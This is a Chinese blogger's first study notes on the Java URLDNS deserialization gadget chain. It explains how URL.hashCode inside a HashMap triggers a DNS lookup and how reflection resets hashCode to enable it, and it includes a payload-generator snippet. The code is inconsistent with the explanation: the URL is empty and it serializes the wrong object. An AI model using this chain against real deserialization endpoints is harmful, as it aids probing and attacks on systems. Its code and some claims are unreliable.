URLdns链的初次学习~

前情提要:师从b站白日梦组长,具体细节都可以去看他视频,均可复现下来

复现步骤

  1. 首先是发现URL实现了Serializable接口,存在反序列化利用危险函数的潜在危害
    然后看一个常见都存在的函数hashCode,发现URL类种存在该函数,然后点进去handler下的hashcode函数,发现有个getHostAddress函数,存在域名解析的危害即ssrf

  1. 然后hashmap的put方法也可以调用hashcode方法,这里就存在同名函数可以替换的可能

  1. 这时候如果使用hashmap的put方法,最后其实调用的是url类的hashcode方法,而不是put方法中的hashcode方法
    但是我们观察发现url类的hashcode方法必须要hashcode的值为-1才行

  1. 但是put方法中的hashcode方法会对传进去的url参数进行hash编码导致最后执行的时候hashcode的值不为-1,进而导致反序列化的时候不会域名解析

  1. 这时候就需要用到反射,动态修改hashcode的值,使其在put方法之后hashcode的值仍然为-1,进而反序列化的时候可以域名解析

  1. 这时候序列化的时候并不会发生域名解析,只有反序列化的时候hashcode的值为-1,进而导致域名解析即srf

最后的代码:

点击查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.*;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;

public class SerializationTest {
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception{
Person person=new Person("aa",22);
//System.out.println(person);

HashMap<URL,Integer>hashmap=new HashMap<URL,Integer>();
//这里不要发起请求,先把url对象的hashcode改成不是-1
URL url=new URL("");
Class c=url.getClass();
Field hashcodefield=c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);
hashmap.put(url,1);
//这里通过反射把hashcode改回-1
hashcodefield.set(url,-1);

serialize(person/*hashmap**/);
}
}

最后自己做的图解(第一次做,有错误的地方还请各位大佬帮忙指点指点orz~)